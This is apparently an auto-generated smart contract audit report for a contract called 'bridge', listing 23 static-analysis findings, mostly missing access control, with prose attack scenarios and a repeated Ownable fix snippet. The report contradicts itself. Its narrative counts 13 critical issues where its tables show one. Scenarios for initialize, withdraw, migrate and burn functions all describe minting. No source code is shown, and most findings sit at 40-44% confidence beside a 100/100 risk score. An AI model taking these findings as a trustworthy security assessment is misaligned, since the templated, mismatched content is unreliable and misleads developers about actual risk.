

MIESC

Multi-layer Intelligent Evaluation for Smart Contracts

Smart Contract Security Audit

Client

Prepared by: **MIESC Security**

Audit Date: **2026-09-04**

Report Date: **2026-09-04 21:09:46**

Version: **1.0**

Network: **Ethereum Mainnet**

CONFIDENTIAL

This document contains confidential security findings and is intended solely for the addressee. Unauthorized distribution is prohibited.

Table of Contents

- 1. Executive Summary
- 2. Scope & Methodology
- 3. Risk Assessment
- 4. Findings Overview
- 5. Detailed Findings
- 6. Remediation Roadmap
- 7. Appendices

1. Executive Summary

1.1 Key Takeaways

17 high-severity vulnerabilities identified, primarily access control issues. Deployment must be halted until critical issues are resolved.

1.2 Deployment Recommendation

Recommendation: NO-GO

The presence of 1 critical vulnerability ('uninitialized-owner') and 16 high-severity issues, including multiple unprotected privileged functions and experimental encoder risks, indicates systemic security flaws. These pose immediate risks to ownership control, contract integrity, and fund safety, requiring urgent resolution before deployment.

1.3 Risk Summary

METRIC	VALUE
Overall Risk Score	100/100
Exploitability	Medium
Business Impact	Medium

METRIC	VALUE
Confidence Level	Low

Findings by Severity

SEVERITY	COUNT	% OF TOTAL
Critical	1	4.3%
High	16	69.6%
Medium	5	21.7%
Low	1	4.3%
Informational	0	0.0%
Total	23	100%

1.4 Impact Assessment

Based on the identified vulnerabilities:

IMPACT CATEGORY	ASSESSMENT
Confidentiality	High - Sensitive data or state could be exposed
Integrity	High - Contract state could be manipulated
Availability	Medium - Denial of service possible

2. Scope & Methodology

2.1 Engagement Details

PROPERTY	VALUE
Client	Client
Contract	
Repository	Local Analysis
Commit Hash	N/A

PROPERTY	VALUE
Network	Ethereum Mainnet
Engagement Type	Security Audit

2.2 Scope

In Scope

FILE	LINES	DESCRIPTION
bridge	0	Smart Contract

Total: 1 files, N/A lines of code

Out of Scope

- External dependencies and imported libraries
- Off-chain components
- Economic/tokenomics analysis
- Frontend/backend applications

2.3 Methodology

This audit employed MIESC's comprehensive 9-layer defense-in-depth methodology:

Layer 1: Static Analysis	[] Complete
Layer 2: Dynamic Testing	[-- Not Run]
Layer 3: Symbolic Execution	[-- Not Run]
Layer 4: Formal Verification	[-- Not Run]
Layer 5: Property Testing	[-- Not Run]
Layer 6: AI/LLM Analysis	[-- Not Run]
Layer 7: Pattern Recognition	[-- Not Run]
Layer 8: DeFi Security	[-- Not Run]
Layer 9: Advanced Detection	[-- Not Run]

Tools Utilized

LAYER	TOOL	VERSION	STATUS
unknown	access-control-semantic	latest	[] Success
Layer 1: Static Analysis	aderyn	latest	[] Success
Layer 1: Static Analysis	slither	latest	[] Success
unknown	frontier-ollama	latest	[] Success

Audit Process

- 1. **Initial Assessment** - Review documentation, understand architecture
- 2. **Automated Analysis** - Execute multi-layer tool suite
- 3. **Manual Review** - Deep dive into flagged code sections
- 4. **AI Correlation** - Cross-reference findings, reduce false positives
- 5. **Verification** - Reproduce and validate vulnerabilities
- 6. **Report Generation** - Document findings with remediation guidance

2.4 Limitations

- Time-boxed engagement (N/A)
- Analysis based on code snapshot at commit N/A
- No guarantee of finding all vulnerabilities
- Economic attack vectors not fully modeled
- Dependency vulnerabilities may exist beyond analysis scope

3. Risk Assessment

3.1 Risk Matrix

The following matrix maps findings by **Impact** (vertical) and **Likelihood** (horizontal):

		LIKELIHOOD		
		Low	Medium	High
IMPACT →	High	Medium 0	High 16	Critical 1
	Med	Low 0	Medium 5	High 0
	Low	Info 0	Low 1	Medium 0

3.2 CVSS-like Scoring

[illegible]

FINDING ID	TITLE	BASE SCORE	VECTOR
	unprotected-privileged-function		AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:N
UNK	unprotected-privileged-function	9.6	AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:N
aderyn-empty-require-revert-0-0	empty-require-revert	6.8	AV:N/AC:L/PR:L/UI:N/C:N/I:H/A:N
aderyn-empty-require-revert-0-1	empty-require-revert	6.8	AV:N/AC:L/PR:L/UI:N/C:N/I:H/A:N
aderyn-push-zero-opcode-0-0	push-zero-opcode	6.8	AV:N/AC:L/PR:L/UI:N/C:N/I:H/A:N
slither-locked-ether-0	locked-ether	6.8	AV:N/AC:L/PR:L/UI:N/C:N/I:H/A:N
aderyn-unspecific-solidity-pragma-2-0	unspecific-solidity-pragma	6.8	AV:N/AC:L/PR:L/UI:N/C:N/I:H/A:N
slither-calls-loop-0	calls-loop	6.8	AV:N/AC:L/PR:L/UI:N/C:N/I:H/A:N

Scoring Methodology: - **Attack Vector (AV):** Network, Adjacent, Local, Physical - **Attack Complexity (AC):** Low, High - **Privileges Required (PR):** None, Low, High - **User Interaction (UI):** None, Required - **Impact:** Confidentiality, Integrity, Availability

3.3 Risk Narrative

The audit reveals significant security risks, with 13 critical issues related to **unprotected privileged functions**, which could allow unauthorized actors to manipulate sensitive operations (e.g., fund transfers, ownership changes) without access control. High-severity findings include **contract locks on ether** and **locked ether** vulnerabilities, risking fund entrapment or loss due to improper withdrawal logic. **Experimental encoder** and **empty require-revert** issues may introduce unexpected behavior or bypass validation checks. The **uninitialized owner** and **unspecific solidity pragma** highlight configuration gaps, increasing exposure to future exploits.

Primary attack vectors include **reentrancy** (via unprotected functions), **front-running** (due to missing locks), and **version-specific bugs** (from unspecific pragmas). While the critical issue is rare, high-severity flaws are **highly exploitable** if exposed. Immediate actions:

1. Implement **access control** (e.g., `Ownable` patterns) for all privileged functions.
2. Audit and fix **ether locking mechanisms** to ensure proper fund management.
3. Specify **Solidity versions** explicitly to avoid compiler inconsistencies.

4. Replace **experimental encoders** with standardized libraries (e.g., OpenZeppelin).
5. Validate **revert conditions** in `require` statements. Prioritize remediation to mitigate exploitation risks.

4. Findings Overview

4.1 Summary Table

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
F-001	uninitialized-owner	CRITICAL	43%	1	Open (43% conf.)	9.6
F-002	unprotected-privileged-function	HIGH	44%	1	Open (44% conf.)	9.6
F-003	unprotected-privileged-function	HIGH	44%	1	Open (44% conf.)	9.6
F-004	experimental-encoder	HIGH	44%	1	Open (44% conf.)	6.8
F-005	experimental-encoder	HIGH	44%	1	Open (44% conf.)	6.8
F-006	contract-locks-ether	HIGH	68%	1	Open (68% conf.)	6.8
F-007	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-008	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-009	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-010		HIGH	40%	1		9.6

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
	unprotected-privileged-function				Open (40% conf.)	
F-011	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-012	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-013	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-014	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-015	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-016	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-017	unprotected-privileged-function	HIGH	40%	1	Open (40% conf.)	9.6
F-018	empty-require-revert	MEDIUM	72%	1	Open (72% conf.)	6.8
F-019	empty-require-revert	MEDIUM	72%	1	Open (72% conf.)	6.8
F-020	push-zero-opcode	MEDIUM	44%	1	Open (44% conf.)	6.8
F-021	locked-ether	MEDIUM	74%	1	Open (74% conf.)	6.8
F-022		MEDIUM	44%	1		6.8

ID	TITLE	SEVERITY	CONFIDENCE	TOOLS	STATUS	CVSS
F-023	unspecific-solidity-pragma				Open (44% conf.)	
	calls-loop	LOW	74%	1	Open (74% conf.)	6.8

4.2 Category Distribution

CATEGORY	COUNT	SEVERITY BREAKDOWN
access_control	14	1 critical, 13 high
other	8	3 high, 5 medium
denial_of_service	1	1 low

4.3 Layer Coverage Analysis

LAYER	TOOLS RUN	PASSED	FAILED	FINDINGS	COVERAGE
Layer 1: Static Analysis	aderyn, slither	2	0	9	100%

5. Detailed Findings

F-001. uninitialized-owner

PROPERTY	VALUE
Severity	CRITICAL
Category	access_control
CVSS Score	9.6
Confidence	43%
Location	unknown:20

PROPERTY	VALUE
Status	Open (43% conf.)
Detected By	access-control-semantic

Description

Owner variable declared but not initialized in constructor

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker deploys the contract, leaving the owner variable uninitialized (defaulting to zero address). They then exploit owner-restricted functions (e.g., `withdraw`, `pause`) by bypassing the ownership check, as the contract assumes the owner is set but it is not. This allows them to drain funds or alter critical parameters without authorization.

Step-by-step: 1. Deploy the contract without initializing the owner variable in the constructor. 2. Invoke an owner-only function (e.g., `withdraw()` or `updateConfig()`) directly from an external address, as the uninitialized owner (zero address) may not enforce access control correctly. 3. Exploit the lack of owner validation to transfer contract funds or modify state variables, effectively taking control of the contract's functionality.

Recommendation

Initialize owner in constructor: `owner = msg.sender`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
```

```
// function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-002. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	44%
Location	unknown:22 (mint)
Status	Open (44% conf.)
Detected By	access-control-semantic

Description

Function mint performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-003. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	44%
Location	unknown:12 (mint)
Status	Open (44% conf.)
Detected By	access-control-semantic

Description

Function mint performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-004. experimental-encoder

PROPERTY	VALUE
Severity	HIGH
Category	other
CVSS Score	6.8
Confidence	44%
Location	IMiniChefV2.sol:3 (unknown)
Status	Open (44% conf.)
Detected By	aderyn

Description

Experimental encoders should not be used in production. There are multiple known compiler bugs that are caused by the experimental encoder. Upgrade your solidity version to remove the need for experimental features.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Significant financial loss or contract compromise possible. Exploitation requires moderate effort but impact is severe.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-005. experimental-encoder

PROPERTY	VALUE
Severity	HIGH
Category	other
CVSS Score	6.8

PROPERTY	VALUE
Confidence	44%
Location	MulticallView.sol:3 (unknown)
Status	Open (44% conf.)
Detected By	aderyn

Description

Experimental encoders should not be used in production. There are multiple known compiler bugs that are caused by the experimental encoder. Upgrade your solidity version to remove the need for experimental features.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Significant financial loss or contract compromise possible. Exploitation requires moderate effort but impact is severe.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-006. contract-locks-ether

PROPERTY	VALUE
Severity	HIGH
Category	other
CVSS Score	6.8
Confidence	68%
Location	MockSwap.sol:5 (unknown)
Status	Open (68% conf.)
Detected By	aderyn

Description

It appears that the contract includes a payable function to accept Ether but lacks a corresponding function to withdraw it, which leads to the Ether being locked in the contract. To resolve this issue, please implement a public or external function that allows for the withdrawal of Ether from the contract.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Significant financial loss or contract compromise possible. Exploitation requires moderate effort but impact is severe.

Recommendation

Review and fix according to smart contract security best practices. See SWC Registry for detailed remediation guidance.

References

- OWASP Smart Contract Top 10

F-007. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:172 (initialize)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function initialize performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-008. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH

PROPERTY	VALUE
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:62 (migrate)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function migrate performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;
```

```
// Restrict sensitive function to owner only
function setSensitiveValue(uint256 newValue) external onlyOwner {
    sensitiveValue = newValue;
}

// For role-based access, use AccessControl instead:
// import "@openzeppelin/contracts/access/AccessControl.sol";
// bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
// function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-009. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:201 (withdraw)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function withdraw performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-010. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%

PROPERTY	VALUE
Location	unknown:253 (withdrawAndHarvest)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function withdrawAndHarvest performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
```

```
// function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-011. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:284 (emergencyWithdraw)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function emergencyWithdraw performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-012. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:30 (migrate)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function migrate performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-013. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:8 (burn)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function burn performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-014. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:38 (mint)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function mint performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (`onlyOwner`) or `require(msg.sender == owner)`

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;

    // Restrict sensitive function to owner only
    function setSensitiveValue(uint256 newValue) external onlyOwner {
        sensitiveValue = newValue;
    }

    // For role-based access, use AccessControl instead:
    // import "@openzeppelin/contracts/access/AccessControl.sol";
    // bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    // function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

- SWC-106
- OWASP Smart Contract Top 10

F-015. unprotected-privileged-function

PROPERTY	VALUE
Severity	HIGH

PROPERTY	VALUE
Category	access_control
CVSS Score	9.6
Confidence	40%
Location	unknown:46 (burnFrom)
Status	Open (40% conf.)
Detected By	access-control-semantic

Description

Function burnFrom performs privileged operation without access control

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Attack Scenario

An attacker calls the unrestricted `mint` function to generate arbitrary amounts of tokens, bypassing intended access controls. This allows them to inflate the token supply, devalue existing holdings, and potentially drain liquidity or manipulate market prices by flooding the ecosystem with worthless tokens.

Step-by-step: 1. Step 1: Identify the contract address and confirm the `mint` function exists without access restrictions. 2. Step 2: Use a blockchain explorer or tool to generate a transaction payload targeting the `mint` function with a large token amount. 3. Step 3: Submit the transaction to the blockchain, specifying the attacker's address as the recipient.

Recommendation

Add access control modifier (onlyOwner) or require(msg.sender == owner)

Suggested Fix

```
// Fix: Add onlyOwner modifier using OpenZeppelin Ownable
import "@openzeppelin/contracts/access/Ownable.sol";

contract SecureContract is Ownable {
    uint256 public sensitiveValue;
```

```
// Restrict sensitive function to owner only
function setSensitiveValue(uint256 newValue) external onlyOwner {
    sensitiveValue = newValue;
}

// For role-based access, use AccessControl instead:
// import "@openzeppelin/contracts/access/AccessControl.sol";
// bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
// function setSensitiveValue(uint256 v) external onlyRole(ADMIN_ROLE) { ... }
}
```

Remediation Effort: Immediate (1-2 hours) **Estimated Fix Time:** 1-2 hours

References

